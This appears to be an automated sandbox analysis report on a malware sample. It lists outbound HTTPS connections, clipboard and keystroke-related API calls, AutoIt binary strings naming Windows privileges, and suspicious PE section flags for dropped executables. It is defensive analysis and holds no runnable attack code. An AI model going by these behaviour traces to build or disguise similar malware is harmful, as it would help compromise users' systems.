Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61071
Source: unknown	Network traffic detected: HTTP traffic on port 61058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61074
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61189
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61082
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61085
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61076
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61079
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61095
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61088
Source: unknown	Network traffic detected: HTTP traffic on port 61162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61097
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61099
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61151
Source: unknown	Network traffic detected: HTTP traffic on port 61025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61021
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61142
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61144
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61146
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61026
Source: unknown	Network traffic detected: HTTP traffic on port 61128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61148
Source: unknown	Network traffic detected: HTTP traffic on port 61080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61162
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61039
Source: unknown	Network traffic detected: HTTP traffic on port 61151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61158
Source: unknown	Network traffic detected: HTTP traffic on port 61014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61159
Source: unknown	Network traffic detected: HTTP traffic on port 61081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61173
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61169
Source: unknown	Network traffic detected: HTTP traffic on port 61013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61049
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61063
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61174
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61176
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61059
Source: unknown	Network traffic detected: HTTP traffic on port 61129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:61026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:61043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:61176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.199.218.33:443 -> 192.168.2.4:61189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:61190 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B9EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_00B9EAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B9ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00B9ED6A

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

6_2_00B9EAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B8AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

6_2_00B8AA57

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00BB9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00BB9576

System Summary

Binary is likely a compiled AutoIt script file

Source: 84d280a9e8.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 84d280a9e8.exe, 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1b54855c-2
Source: 84d280a9e8.exe, 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ab99bae5-9
Source: 84d280a9e8.exe, 00000019.00000002.2952681186.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_40b8bba8-2
Source: 84d280a9e8.exe, 00000019.00000002.2952681186.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_318f3c19-f
Source: 84d280a9e8.exe, 0000004E.00000002.2952378189.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_386f8b28-7
Source: 84d280a9e8.exe, 0000004E.00000002.2952378189.0000000000BE2000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4116132c-1
Source: 84d280a9e8.exe.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a51a73cd-8
Source: 84d280a9e8.exe.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_77806d17-b
Source: random[1].exe.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2199ef9a-4
Source: random[1].exe.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_cb341c9f-1

PE file contains section with special chars

Source: 8ObkdHP9Hq.exe	Static PE information: section name:
Source: 8ObkdHP9Hq.exe	Static PE information: section name: .idata
Source: 8ObkdHP9Hq.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 9d7da53f74.exe.5.dr	Static PE information: section name:
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: .rsrc
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: .idata
Source: 9d7da53f74.exe.5.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B8D5EB: CreateFileW,DeviceIoControl,CloseHandle,

6_2_00B8D5EB

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

